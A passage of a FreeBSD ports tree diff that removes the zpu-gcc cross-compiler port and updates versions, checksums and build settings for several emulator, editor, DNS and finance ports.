${srcdir}/mkinstalldirs $(DESTDIR)$(gcc_tooldir) - - # Build fixed copies of system files. -@@ -2919,13 +2921,13 @@ - -rm -f $(DESTDIR)$(bindir)/$(GCC_INSTALL_NAME)$(exeext) - -$(INSTALL_PROGRAM) xgcc$(exeext) $(DESTDIR)$(bindir)/$(GCC_INSTALL_NAME)$(exeext) - -rm -f $(DESTDIR)$(bindir)/$(target_noncanonical)-gcc-$(version) -+ ls -ld gcc-cross$(exeext) - -( cd $(DESTDIR)$(bindir) && \ - $(LN) $(GCC_INSTALL_NAME)$(exeext) $(target_noncanonical)-gcc-$(version) ) - -if [ -f gcc-cross$(exeext) ] ; then \ -- if [ -d $(DESTDIR)$(gcc_tooldir)/bin/. ] ; then \ -- rm -f $(DESTDIR)$(gcc_tooldir)/bin/gcc$(exeext); \ -+ mkdir -p $(DESTDIR)$(gcc_tooldir)/bin/.; \ -+ mkdir -p $(DESTDIR)$(gcc_tooldir)/bin/.; \ - $(INSTALL_PROGRAM) gcc-cross$(exeext) $(DESTDIR)$(gcc_tooldir)/bin/gcc$(exeext); \ -- else true; fi; \ - else \ - rm -f $(DESTDIR)$(bindir)/$(target_noncanonical)-gcc-tmp$(exeext); \ - ( cd $(DESTDIR)$(bindir) && \ diff --git a/devel/zpu-gcc/files/patch-gcc_gcc_fixinc_mkfixinc.sh b/devel/zpu-gcc/files/patch-gcc_gcc_fixinc_mkfixinc.sh deleted file mode 100644 index 7a0abb7509e..00000000000 --- a/devel/zpu-gcc/files/patch-gcc_gcc_fixinc_mkfixinc.sh +++ /dev/null @@ -1,11 +0,0 @@ ---- gcc/gcc/fixinc/mkfixinc.sh.orig 2013-06-17 08:08:36.000000000 -0400 -+++ gcc/gcc/fixinc/mkfixinc.sh 2013-06-17 08:08:54.000000000 -0400 -@@ -72,7 +72,7 @@ - # OK. We gotta make the thing. - # make and install either the binary or the default script - --defs="SHELL=\"$SHELL\" CC=\"$CC\" CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS\" LIBERTY=\"$LIBERTY\"" -+defs="SHELL=\"/bin/sh\" CC=\"$CC\" CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS\" LIBERTY=\"$LIBERTY\"" - cmd="$MAKE ${defs} install-bin" - echo $cmd - eval $cmd diff --git a/devel/zpu-gcc/files/patch-gcc_libgloss_zpu_Makefile.in b/devel/zpu-gcc/files/patch-gcc_libgloss_zpu_Makefile.in deleted file mode 100644 index 2451fe8eb4e..00000000000 --- a/devel/zpu-gcc/files/patch-gcc_libgloss_zpu_Makefile.in +++ /dev/null @@ -1,47 +0,0 @@ ---- gcc/libgloss/zpu/Makefile.in.orig 2012-10-11 19:40:33.000000000 -0400 -+++ gcc/libgloss/zpu/Makefile.in 2014-01-05 16:38:11.241591883 -0500 -@@ -48,12 +48,8 @@ - RANLIB = @RANLIB@ - AR_FLAGS = qv - --OBJDUMP = `if [ -f ${objroot}/../binutils/objdump ] ; \ -- then echo ${objroot}/../binutils/objdump ; \ -- else t='$(program_transform_name)'; echo objdump | sed -e $$t ; fi` --OBJCOPY = `if [ -f ${objroot}/../binutils/objcopy ] ; \ -- then echo ${objroot}/../binutils/objcopy ; \ -- else t='$(program_transform_name)'; echo objcopy | sed -e $$t ; fi` -+OBJDUMP = $(prefix)/bin/zpu-elf-objdump -+OBJCOPY = $(prefix)/bin/zpu-elf-objcopy - - SCRIPTS = - -@@ -108,10 +104,10 @@ - - .PHONY: install info install-info clean-info - install: install-scripts -- $(INSTALL_PROGRAM) $(CRT0) $(tooldir)/lib${MULTISUBDIR}/$(CRT0) -- $(INSTALL_PROGRAM) $(IO) $(tooldir)/lib${MULTISUBDIR}/$(IO) -+ $(INSTALL_PROGRAM) $(CRT0) $(DESTDIR)$(tooldir)/lib${MULTISUBDIR}/$(CRT0) -+ $(INSTALL_PROGRAM) $(IO) $(DESTDIR)$(tooldir)/lib${MULTISUBDIR}/$(IO) - @for bsp in ${BSP}; do\ -- $(INSTALL_PROGRAM) $${bsp} $(tooldir)/lib${MULTISUBDIR}; \ -+ $(INSTALL_PROGRAM) $${bsp} $(DESTDIR)$(tooldir)/lib${MULTISUBDIR}; \ - done - - # Install the linker script in the correct place. -@@ -122,8 +118,6 @@ - t='$(program_transform_name)'; \ - objdump=`echo objdump | sed -e $$t`; \ - fi ; \ -- name=`$$objdump -f $(CRT0) | sed '/^$$/d'`; -- name=`$$objdump -f $(IO) | sed '/^$$/d'`; - - doc: - info: -@@ -139,4 +133,4 @@ - .c.o: - $(CC) $(CFLAGS_FOR_TARGET) $(INCLUDES) -c $(CFLAGS) -fomit-frame-pointer -ffunction-sections -fdata-sections $< - -- -\ No newline at end of file -+ diff --git a/devel/zpu-gcc/pkg-descr b/devel/zpu-gcc/pkg-descr deleted file mode 100644 index 90049a0e4dc..00000000000 --- a/devel/zpu-gcc/pkg-descr +++ /dev/null @@ -1,9 +0,0 @@ -zpu-gcc compiler suite for the zpu - -Typical usage seems to be experienced engineers who have some very -particular requirements that can only be met using the ZPU due to technical -or licensing issues. - -Academic circles have found the ZPU appealing since the actual core is -trivial and allows them to focus on some other aspect of research or -student exercises. diff --git a/devel/zpu-gcc/pkg-plist b/devel/zpu-gcc/pkg-plist deleted file mode 100644 index 42f9f4d57ca..00000000000 --- a/devel/zpu-gcc/pkg-plist +++ /dev/null @@ -1,142 +0,0 @@ -zpu/bin/zpu-elf-cpp -zpu/bin/zpu-elf-gcc -zpu/bin/zpu-elf-gcc-3.4.2 -zpu/bin/zpu-elf-gccbug -zpu/bin/zpu-elf-gcov -zpu/lib/gcc/zpu-elf/3.4.2/crtbegin.o -zpu/lib/gcc/zpu-elf/3.4.2/crtend.o -zpu/lib/gcc/zpu-elf/3.4.2/crti.o -zpu/lib/gcc/zpu-elf/3.4.2/crtn.o -zpu/lib/gcc/zpu-elf/3.4.2/include/README -zpu/lib/gcc/zpu-elf/3.4.2/include/fixed -zpu/lib/gcc/zpu-elf/3.4.2/include/float.h -zpu/lib/gcc/zpu-elf/3.4.2/include/iso646.h -zpu/lib/gcc/zpu-elf/3.4.2/include/limits.h -zpu/lib/gcc/zpu-elf/3.4.2/include/stdarg.h -zpu/lib/gcc/zpu-elf/3.4.2/include/stdbool.h -zpu/lib/gcc/zpu-elf/3.4.2/include/stddef.h -zpu/lib/gcc/zpu-elf/3.4.2/include/syslimits.h -zpu/lib/gcc/zpu-elf/3.4.2/include/unwind.h -zpu/lib/gcc/zpu-elf/3.4.2/include/varargs.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/gsyslimits.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/README -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/float.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/iso646.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/limits.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/stdarg.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/stdbool.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/stddef.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/unwind.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/include/varargs.h -zpu/lib/gcc/zpu-elf/3.4.2/install-tools/mkheaders.conf -zpu/lib/gcc/zpu-elf/3.4.2/libgcc.a -zpu/lib/gcc/zpu-elf/3.4.2/libgcov.a -zpu/lib/gcc/zpu-elf/3.4.2/specs -zpu/libexec/gcc/zpu-elf/3.4.2/cc1 -zpu/libexec/gcc/zpu-elf/3.4.2/collect2 -zpu/libexec/gcc/zpu-elf/3.4.2/install-tools/fix-header -zpu/libexec/gcc/zpu-elf/3.4.2/install-tools/fixinc.sh -zpu/libexec/gcc/zpu-elf/3.4.2/install-tools/fixincl -zpu/libexec/gcc/zpu-elf/3.4.2/install-tools/fixproto -zpu/libexec/gcc/zpu-elf/3.4.2/install-tools/mkheaders -zpu/libexec/gcc/zpu-elf/3.4.2/install-tools/mkinstalldirs -zpu/man/man1/zpu-elf-cpp.1.gz -zpu/man/man1/zpu-elf-gcc.1.gz -zpu/man/man1/zpu-elf-gcov.1.gz -zpu/man/man7/fsf-funding.7.gz -zpu/man/man7/gfdl.7.gz -zpu/man/man7/gpl.7.gz -zpu/share/locale/be/LC_MESSAGES/gcc.mo -zpu/share/locale/ca/LC_MESSAGES/gcc.mo -zpu/share/locale/da/LC_MESSAGES/gcc.mo -zpu/share/locale/de/LC_MESSAGES/gcc.mo -zpu/share/locale/el/LC_MESSAGES/gcc.mo -zpu/share/locale/es/LC_MESSAGES/gcc.mo -zpu/share/locale/fr/LC_MESSAGES/gcc.mo -zpu/share/locale/ja/LC_MESSAGES/gcc.mo -zpu/share/locale/nl/LC_MESSAGES/gcc.mo -zpu/share/locale/sv/LC_MESSAGES/gcc.mo -zpu/share/locale/tr/LC_MESSAGES/gcc.mo -zpu/zpu-elf/bin/gcc -zpu/zpu-elf/include/_ansi.h -zpu/zpu-elf/include/_syslist.h -zpu/zpu-elf/include/alloca.h -zpu/zpu-elf/include/ar.h -zpu/zpu-elf/include/argz.h -zpu/zpu-elf/include/assert.h -zpu/zpu-elf/include/ctype.h -zpu/zpu-elf/include/dirent.h -zpu/zpu-elf/include/envz.h -zpu/zpu-elf/include/errno.h -zpu/zpu-elf/include/fastmath.h -zpu/zpu-elf/include/fcntl.h -zpu/zpu-elf/include/grp.h -zpu/zpu-elf/include/iconv.h -zpu/zpu-elf/include/ieeefp.h -zpu/zpu-elf/include/langinfo.h -zpu/zpu-elf/include/limits.h -zpu/zpu-elf/include/locale.h -zpu/zpu-elf/include/machine/ansi.h -zpu/zpu-elf/include/machine/fastmath.h -zpu/zpu-elf/include/machine/ieeefp.h -zpu/zpu-elf/include/machine/malloc.h -zpu/zpu-elf/include/machine/setjmp-dj.h -zpu/zpu-elf/include/machine/setjmp.h -zpu/zpu-elf/include/machine/stdlib.h -zpu/zpu-elf/include/machine/termios.h -zpu/zpu-elf/include/machine/time.h -zpu/zpu-elf/include/machine/types.h -zpu/zpu-elf/include/malloc.h -zpu/zpu-elf/include/math.h -zpu/zpu-elf/include/newlib.h -zpu/zpu-elf/include/paths.h -zpu/zpu-elf/include/process.h -zpu/zpu-elf/include/pthread.h -zpu/zpu-elf/include/pwd.h -zpu/zpu-elf/include/reent.h -zpu/zpu-elf/include/regdef.h -zpu/zpu-elf/include/search.h -zpu/zpu-elf/include/setjmp.h -zpu/zpu-elf/include/signal.h -zpu/zpu-elf/include/stdio.h -zpu/zpu-elf/include/stdlib.h -zpu/zpu-elf/include/string.h -zpu/zpu-elf/include/sys/_types.h -zpu/zpu-elf/include/sys/cdefs.h -zpu/zpu-elf/include/sys/config.h -zpu/zpu-elf/include/sys/dirent.h -zpu/zpu-elf/include/sys/errno.h -zpu/zpu-elf/include/sys/fcntl.h -zpu/zpu-elf/include/sys/features.h -zpu/zpu-elf/include/sys/file.h -zpu/zpu-elf/include/sys/lock.h -zpu/zpu-elf/include/sys/param.h -zpu/zpu-elf/include/sys/queue.h -zpu/zpu-elf/include/sys/reent.h -zpu/zpu-elf/include/sys/resource.h -zpu/zpu-elf/include/sys/sched.h -zpu/zpu-elf/include/sys/signal.h -zpu/zpu-elf/include/sys/stat.h -zpu/zpu-elf/include/sys/stdio.h -zpu/zpu-elf/include/sys/syslimits.h -zpu/zpu-elf/include/sys/time.h -zpu/zpu-elf/include/sys/timeb.h -zpu/zpu-elf/include/sys/times.h -zpu/zpu-elf/include/sys/types.h -zpu/zpu-elf/include/sys/unistd.h -zpu/zpu-elf/include/sys/utime.h -zpu/zpu-elf/include/sys/wait.h -zpu/zpu-elf/include/termios.h -zpu/zpu-elf/include/time.h -zpu/zpu-elf/include/unctrl.h -zpu/zpu-elf/include/unistd.h -zpu/zpu-elf/include/utime.h -zpu/zpu-elf/include/utmp.h -zpu/zpu-elf/include/wchar.h -zpu/zpu-elf/include/wctype.h -zpu/zpu-elf/lib/crt0.o -zpu/zpu-elf/lib/crt_io.o -zpu/zpu-elf/lib/libbcc.a -zpu/zpu-elf/lib/libc.a -zpu/zpu-elf/lib/libg.a -zpu/zpu-elf/lib/libm.a diff --git a/dns/dog/Makefile b/dns/dog/Makefile index 5890a262dbf..a416e6a5477 100644 --- a/dns/dog/Makefile +++ b/dns/dog/Makefile @@ -14,6 +14,8 @@ LICENSE_FILE= ${WRKSRC}/LICENCE LICENSE_PERMS= dist-mirror dist-sell pkg-mirror pkg-sell auto-accept USES= cargo ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to detect OpenSSL 3.0.0 and later USE_GITHUB= yes GH_ACCOUNT= ogham diff --git a/editors/emacs-devel/Makefile b/editors/emacs-devel/Makefile index 87925361087..0aa530a3f19 100644 --- a/editors/emacs-devel/Makefile +++ b/editors/emacs-devel/Makefile @@ -1,6 +1,6 @@ PORTNAME= emacs DISTVERSION= 30.0.50.20230408 -PORTREVISION= 2 +PORTREVISION= 3 PORTEPOCH= 3 CATEGORIES= editors PKGNAMESUFFIX= -devel diff --git a/editors/mg/Makefile b/editors/mg/Makefile index e860da786ef..0d296792a4c 100644 --- a/editors/mg/Makefile +++ b/editors/mg/Makefile @@ -4,7 +4,7 @@ PORTEPOCH= 1 CATEGORIES= editors MASTER_SITES= https://github.com/ibara/mg/releases/download/mg-${PORTVERSION}/ -MAINTAINER= ports@FreeBSD.org +MAINTAINER= cgr.nil@gmail.com COMMENT= Small, fast Emacs-like editor WWW= https://github.com/ibara/mg diff --git a/emulators/libretro-ppsspp/Makefile b/emulators/libretro-ppsspp/Makefile index 0b8a371c910..59effea19ca 100644 --- a/emulators/libretro-ppsspp/Makefile +++ b/emulators/libretro-ppsspp/Makefile @@ -1,4 +1,4 @@ -PORTREVISION= 2 +PORTREVISION= 0 PKGNAMEPREFIX= libretro- MASTERDIR= ${.CURDIR}/../ppsspp diff --git a/emulators/mgba/Makefile b/emulators/mgba/Makefile index 8408de05146..2708e96792d 100644 --- a/emulators/mgba/Makefile +++ b/emulators/mgba/Makefile @@ -1,6 +1,6 @@ PORTNAME= mgba DISTVERSION= 0.10.2 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= emulators MAINTAINER= pkubaj@FreeBSD.org diff --git a/emulators/ppsspp-qt5/Makefile b/emulators/ppsspp-qt5/Makefile index c96f2bd29e3..2b5cf472f7e 100644 --- a/emulators/ppsspp-qt5/Makefile +++ b/emulators/ppsspp-qt5/Makefile @@ -1,4 +1,4 @@ -PORTREVISION= 2 +PORTREVISION= 0 PKGNAMESUFFIX= -qt5 MASTERDIR= ${.CURDIR}/../ppsspp diff --git a/emulators/ppsspp/Makefile b/emulators/ppsspp/Makefile index adadab1a616..ba9c02c7798 100644 --- a/emulators/ppsspp/Makefile +++ b/emulators/ppsspp/Makefile @@ -1,7 +1,7 @@ PORTNAME= ppsspp DISTVERSIONPREFIX= v -DISTVERSION?= 1.14.4 -PORTREVISION?= 2 +DISTVERSION?= 1.15 +PORTREVISION?= 0 CATEGORIES= emulators # XXX Get from Debian once #697821 lands MASTER_SITES= https://bazaar.launchpad.net/~sergio-br2/${PORTNAME}/debian-sdl/download/5/${PORTNAME}.1-20140802045408-dd26dik367ztj5xg-8/:manpage @@ -26,12 +26,13 @@ RUN_DEPENDS= xdg-open:devel/xdg-utils USE_GITHUB= yes GH_ACCOUNT= hrydgard -GH_TUPLE?= hrydgard:glslang:8.13.3743-339-gdc11adde:glslang/ext/glslang \ +GH_TUPLE?= hrydgard:glslang:8.13.3743-948-gb34f619e:glslang/ext/glslang \ hrydgard:miniupnp:miniupnpd_2_1-502-g3a87be3:miniupnp/ext/miniupnp \ - facebook:zstd:v1.4.7-1276-g096dccbc:zstd/ext/zstd \ + facebook:zstd:v1.5.5:zstd/ext/zstd \ + google:cpu_features:v0.7.0-60-g75ec988:cpu_features/ext/cpu_features \ unknownbrackets:ppsspp-debugger:9776332:debugger/assets/debugger \ - KhronosGroup:SPIRV-Cross:2021-01-15:SPIRV/ext/SPIRV-Cross \ - Kingcom:armips:v0.11.0-184-g6719ede:armips/ext/armips \ + KhronosGroup:SPIRV-Cross:sdk-1.3.239.0:SPIRV/ext/SPIRV-Cross \ + Kingcom:armips:v0.11.0-188-g7bd1ec9:armips/ext/armips \ Kingcom:filesystem:v1.3.2-12-g3f1c185:filesystem/ext/armips/ext/filesystem CONFLICTS_INSTALL= ${PORTNAME}-* diff --git a/emulators/ppsspp/distinfo b/emulators/ppsspp/distinfo index 9e215aec9d1..3bce2b7c9e7 100644 --- a/emulators/ppsspp/distinfo +++ b/emulators/ppsspp/distinfo @@ -1,19 +1,21 @@ -TIMESTAMP = 1672740871 +TIMESTAMP = 1682854925 SHA256 (ppsspp.1) = 64a7cca4c3a5fc6ad5b63399edef9056b0c85ea68fed00fb7e97f4b2724e503b SIZE (ppsspp.1) = 1598 -SHA256 (hrydgard-ppsspp-v1.14.4_GH0.tar.gz) = b270e93e50a7808b27432ef680c6056fccefe47acd3ba2b722156f69584037c5 -SIZE (hrydgard-ppsspp-v1.14.4_GH0.tar.gz) = 37139389 -SHA256 (hrydgard-glslang-8.13.3743-339-gdc11adde_GH0.tar.gz) = ced8f91c3b07f0c1227649732c9ba047d89b09038a446a3c0636f909fb40ab24 -SIZE (hrydgard-glslang-8.13.3743-339-gdc11adde_GH0.tar.gz) = 3297180 +SHA256 (hrydgard-ppsspp-v1.15_GH0.tar.gz) = fd7a7cf040a22eb3455ba003694136f99e9e49762cba99781aede7225f0fded4 +SIZE (hrydgard-ppsspp-v1.15_GH0.tar.gz) = 43635053 +SHA256 (hrydgard-glslang-8.13.3743-948-gb34f619e_GH0.tar.gz) = 8f002c902a5bc5a9d3c7e58b82ba2a6845ee08a01b756eaf4afefff806d109c7 +SIZE (hrydgard-glslang-8.13.3743-948-gb34f619e_GH0.tar.gz) = 3689872 SHA256 (hrydgard-miniupnp-miniupnpd_2_1-502-g3a87be3_GH0.tar.gz) = 3aefaee9eb86e5f44267aa9e8d37b46d2be8f1c72879cebefa365690a9348190 SIZE (hrydgard-miniupnp-miniupnpd_2_1-502-g3a87be3_GH0.tar.gz) = 448853 -SHA256 (facebook-zstd-v1.4.7-1276-g096dccbc_GH0.tar.gz) = 3296d8e6727b0348ffbfe03eb91ed97768ee2672974b674d68aa4bcb83a593e3 -SIZE (facebook-zstd-v1.4.7-1276-g096dccbc_GH0.tar.gz) = 2143525 +SHA256 (facebook-zstd-v1.5.5_GH0.tar.gz) = 98e9c3d949d1b924e28e01eccb7deed865eefebf25c2f21c702e5cd5b63b85e1 +SIZE (facebook-zstd-v1.5.5_GH0.tar.gz) = 2386533 +SHA256 (google-cpu_features-v0.7.0-60-g75ec988_GH0.tar.gz) = 6bf96c7c07fec41863b8744913896e326dc84c762984e2e1835ce2fd64fbb473 +SIZE (google-cpu_features-v0.7.0-60-g75ec988_GH0.tar.gz) = 102340 SHA256 (unknownbrackets-ppsspp-debugger-9776332_GH0.tar.gz) = adc88664cb127b7797b03ffe07274096ac8ac037f143bf636b6208084c47e4d7 SIZE (unknownbrackets-ppsspp-debugger-9776332_GH0.tar.gz) = 810213 -SHA256 (KhronosGroup-SPIRV-Cross-2021-01-15_GH0.tar.gz) = d700863b548cbc7f27a678cee305f561669a126eb2cc11d36a7023dfc462b9c4 -SIZE (KhronosGroup-SPIRV-Cross-2021-01-15_GH0.tar.gz) = 1444164 -SHA256 (Kingcom-armips-v0.11.0-184-g6719ede_GH0.tar.gz) = 0c584c3a7712e6cdbe170703fffa55d1ec9c38472cb25219ef4611363f50f805 -SIZE (Kingcom-armips-v0.11.0-184-g6719ede_GH0.tar.gz) = 222945 +SHA256 (KhronosGroup-SPIRV-Cross-sdk-1.3.239.0_GH0.tar.gz) = a1695022880e7ef3c2d407647f79876045dc2a3ed012753adc71ead5cc5178ba +SIZE (KhronosGroup-SPIRV-Cross-sdk-1.3.239.0_GH0.tar.gz) = 1707048 +SHA256 (Kingcom-armips-v0.11.0-188-g7bd1ec9_GH0.tar.gz) = 577ec512e9f400c94f018b17aa324aa0093c0e151d37d67f5754f6da1a996c2f +SIZE (Kingcom-armips-v0.11.0-188-g7bd1ec9_GH0.tar.gz) = 222958 SHA256 (Kingcom-filesystem-v1.3.2-12-g3f1c185_GH0.tar.gz) = 9fa5a690e341bea1935a7f6b256e1bbd864abee988f834f10307f646dc38e604 SIZE (Kingcom-filesystem-v1.3.2-12-g3f1c185_GH0.tar.gz) = 163401 diff --git a/emulators/ppsspp/files/patch-ffmpeg5 b/emulators/ppsspp/files/patch-ffmpeg5 index 051628becfe..2c74a66afe6 100644 --- a/emulators/ppsspp/files/patch-ffmpeg5 +++ b/emulators/ppsspp/files/patch-ffmpeg5 @@ -40,7 +40,7 @@ https://github.com/hrydgard/ppsspp/issues/15308 if (pmp_Codec == NULL){ ERROR_LOG(ME, "Can not find H264 codec, please update ffmpeg"); return false; ---- Core/HW/MediaEngine.cpp.orig 2023-01-03 10:14:31 UTC +--- Core/HW/MediaEngine.cpp.orig 2023-04-30 11:42:05 UTC +++ Core/HW/MediaEngine.cpp @@ -38,6 +38,10 @@ extern "C" { #include "libavutil/imgutils.h" @@ -53,7 +53,7 @@ https://github.com/hrydgard/ppsspp/issues/15308 } #endif // USE_FFMPEG -@@ -434,7 +438,11 @@ bool MediaEngine::addVideoStream(int streamNum, int st +@@ -410,13 +414,19 @@ bool MediaEngine::addVideoStream(int streamNum, int st #else stream->request_probe = 0; #endif @@ -65,7 +65,15 @@ https://github.com/hrydgard/ppsspp/issues/15308 // We could set the width here, but we don't need to. if (streamNum >= m_expectedVideoStreams) { ++m_expectedVideoStreams; -@@ -521,7 +529,7 @@ bool MediaEngine::setVideoStream(int streamNum, bool f + } + ++#if LIBAVFORMAT_VERSION_INT < AV_VERSION_INT(57, 33, 100) + m_codecsToClose.push_back(stream->codec); ++#endif + return true; + } + } +@@ -499,7 +509,7 @@ bool MediaEngine::setVideoStream(int streamNum, bool f AVStream *stream = m_pFormatCtx->streams[streamNum]; #if LIBAVFORMAT_VERSION_INT >= AV_VERSION_INT(57, 33, 100) diff --git a/emulators/rpcs3/Makefile b/emulators/rpcs3/Makefile index af6c86c984d..71247f67b56 100644 --- a/emulators/rpcs3/Makefile +++ b/emulators/rpcs3/Makefile @@ -1,8 +1,7 @@ PORTNAME= rpcs3 DISTVERSIONPREFIX= v -DISTVERSION= 0.0.27-14931 # git rev-list --count HEAD -PORTREVISION= 1 -DISTVERSIONSUFFIX= -gcd9ff08235 +DISTVERSION= 0.0.27-14956 # git rev-list --count HEAD +DISTVERSIONSUFFIX= -gea3a73b598 CATEGORIES= emulators wayland MAINTAINER= jbeich@FreeBSD.org @@ -52,7 +51,7 @@ ELF_FEATURES= +noaslr,wxneeded:bin/${PORTNAME} .if ${FLAVOR:U} == qt6 || make(makesum) || make(fetch) PATCH_SITES+= https://github.com/${GH_ACCOUNT}/${GH_PROJECT}/commit/:qt6 -PATCHFILES+= 25dad14c317e.patch:-p1:qt6 # https://github.com/RPCS3/rpcs3/pull/12471 +PATCHFILES+= ec621e5b401e.patch:-p1:qt6 # https://github.com/RPCS3/rpcs3/pull/12471 PKGNAMESUFFIX= -${FLAVOR} USES:= ${USES:S/qt:5/qt:6/} USE_QT= base multimedia svg diff --git a/emulators/rpcs3/distinfo b/emulators/rpcs3/distinfo index 8ad6e7e0edb..3c51aac62e7 100644 --- a/emulators/rpcs3/distinfo +++ b/emulators/rpcs3/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1682537864 -SHA256 (RPCS3-rpcs3-v0.0.27-14931-gcd9ff08235_GH0.tar.gz) = 8bdd8e49f5ee6c1c3f63f5f549c821b00f79ee766de813a3feff2b147cc087a0 -SIZE (RPCS3-rpcs3-v0.0.27-14931-gcd9ff08235_GH0.tar.gz) = 8803818 +TIMESTAMP = 1682966817 +SHA256 (RPCS3-rpcs3-v0.0.27-14956-gea3a73b598_GH0.tar.gz) = 4ac1db3c400a3cf122d9518201592eef08972f10b4f5bcee62d3c1348bb1339c +SIZE (RPCS3-rpcs3-v0.0.27-14956-gea3a73b598_GH0.tar.gz) = 8804020 SHA256 (RPCS3-hidapi-hidapi-0.13.1-2-gecf1b62_GH0.tar.gz) = a45fdf93aeb913407f0e707769b3ee7ac58bef6d44e299065ea1df038261ac1c SIZE (RPCS3-hidapi-hidapi-0.13.1-2-gecf1b62_GH0.tar.gz) = 245283 SHA256 (RPCS3-soundtouch-2.3.1-16-g83cfba6_GH0.tar.gz) = 56863dbed27510742ed4ced54e9a5fba8658bcbfbb1cc5cdb978d7d537a3a874 @@ -21,5 +21,5 @@ SHA256 (miniupnp-miniupnp-miniupnpd_2_3_3_GH0.tar.gz) = 166277d9c1b8d8241cc6bfaa SIZE (miniupnp-miniupnp-miniupnpd_2_3_3_GH0.tar.gz) = 454853 SHA256 (wolfSSL-wolfssl-v5.6.0-stable_GH0.tar.gz) = c1e689e21a17aa9b838e67a37c3eadfa578c8e260f8c77fb028c0316309f0636 SIZE (wolfSSL-wolfssl-v5.6.0-stable_GH0.tar.gz) = 21998970 -SHA256 (25dad14c317e.patch) = a7de0b416708e7735122bb30d3fde6c5197962f82b58d7d0eaa2069913aef956 -SIZE (25dad14c317e.patch) = 103268 +SHA256 (ec621e5b401e.patch) = a1bf16514348b4e6c8713dfc597bf44b86614031cc146ee5f8e3d9af032e7066 +SIZE (ec621e5b401e.patch) = 103563 diff --git a/emulators/virtualbox-ose-kmod-legacy/Makefile b/emulators/virtualbox-ose-kmod-legacy/Makefile index 7ab23e6d259..1f22215cd45 100644 --- a/emulators/virtualbox-ose-kmod-legacy/Makefile +++ b/emulators/virtualbox-ose-kmod-legacy/Makefile @@ -77,6 +77,10 @@ KMK_ARCH= freebsd.${ARCH} .include +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion +.endif + SYMBOLSUFFIX= debug PLIST_SUB+= SYMBOLSUFFIX=${SYMBOLSUFFIX} diff --git a/emulators/yuzu/Makefile b/emulators/yuzu/Makefile index 58c8dd10ce5..c3ab12f1d8a 100644 --- a/emulators/yuzu/Makefile +++ b/emulators/yuzu/Makefile @@ -1,6 +1,5 @@ PORTNAME= yuzu -PORTVERSION= s20230424 -PORTREVISION= 3 +PORTVERSION= s20230501 CATEGORIES= emulators wayland .if make(makesum) MASTER_SITES= https://api.yuzu-emu.org/gamedb/?dummy=/:gamedb @@ -47,7 +46,7 @@ qt6_OPTIONS_EXCLUDE= QT5 USE_GITHUB= yes GH_ACCOUNT= yuzu-emu -GH_TAGNAME= 9bf19b04f +GH_TAGNAME= 47938541c GH_TUPLE= yuzu-emu:mbedtls:v2.16.9-115-g8c88150ca:mbedtls/externals/mbedtls \ yuzu-emu:sirit:ab75463:sirit/externals/sirit \ KhronosGroup:SPIRV-Headers:1.5.4.raytracing.fixed-201-gc214f6f:SPIRV_Headers/externals/sirit/externals/SPIRV-Headers \ diff --git a/emulators/yuzu/distinfo b/emulators/yuzu/distinfo index d7a5f158474..64707c3dce5 100644 --- a/emulators/yuzu/distinfo +++ b/emulators/yuzu/distinfo @@ -1,8 +1,8 @@ -TIMESTAMP = 1682332633 -SHA256 (yuzu-s20230424/compatibility_list.json) = 382db629d6b060af722a27dfa9cd6bb60ac16a7544c58322f63aa1be4c0c0fac -SIZE (yuzu-s20230424/compatibility_list.json) = 1801327 -SHA256 (yuzu-emu-yuzu-s20230424-9bf19b04f_GH0.tar.gz) = 905dfc0932aa9b57cee42b5283908796abd199e9343348d83d03fe31b5f4d4bc -SIZE (yuzu-emu-yuzu-s20230424-9bf19b04f_GH0.tar.gz) = 5605001 +TIMESTAMP = 1682953682 +SHA256 (yuzu-s20230501/compatibility_list.json) = 382db629d6b060af722a27dfa9cd6bb60ac16a7544c58322f63aa1be4c0c0fac +SIZE (yuzu-s20230501/compatibility_list.json) = 1801327 +SHA256 (yuzu-emu-yuzu-s20230501-47938541c_GH0.tar.gz) = 0d9b89669f0710388439da8d5f164c3d2c821d22ff733daec246974d1ce79199 +SIZE (yuzu-emu-yuzu-s20230501-47938541c_GH0.tar.gz) = 5618848 SHA256 (yuzu-emu-mbedtls-v2.16.9-115-g8c88150ca_GH0.tar.gz) = 8cd6d075b4da0ad5fb995eb37390e2e6088be8d41ab1cdfc7e7e4256bd991450 SIZE (yuzu-emu-mbedtls-v2.16.9-115-g8c88150ca_GH0.tar.gz) = 2679189 SHA256 (yuzu-emu-sirit-ab75463_GH0.tar.gz) = 6b61e265be182b7a78075fc1b98ccf80fd33008343205dd0e22a10a439c45319 diff --git a/finance/electrum/Makefile b/finance/electrum/Makefile index 1c64854ebb6..7eef5437849 100644 --- a/finance/electrum/Makefile +++ b/finance/electrum/Makefile @@ -1,6 +1,5 @@ PORTNAME= electrum -PORTVERSION= 4.4.0 -PORTREVISION= 2 +PORTVERSION= 4.4.1 CATEGORIES= finance python MASTER_SITES= https://download.electrum.org/${PORTVERSION}/ \ http://download.electrum.org/${PORTVERSION}/ diff --git a/finance/electrum/distinfo b/finance/electrum/distinfo index 2e0a5308681..5c2fe8c2eac 100644 --- a/finance/electrum/distinfo +++ b/finance/electrum/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681928633 -SHA256 (Electrum-4.4.0.tar.gz) = 48757e7c20e17e0221eecf0bede0db2a3f1b9074959bb2763cf438090a69e9c2 -SIZE (Electrum-4.4.0.tar.gz) = 14476482 +TIMESTAMP = 1682756128 +SHA256 (Electrum-4.4.1.tar.gz) = f029b8c23a7094df926f70f8ee2aed60efc0373ec2bf00a4afd614c7e50e01cb +SIZE (Electrum-4.4.1.tar.gz) = 14546447 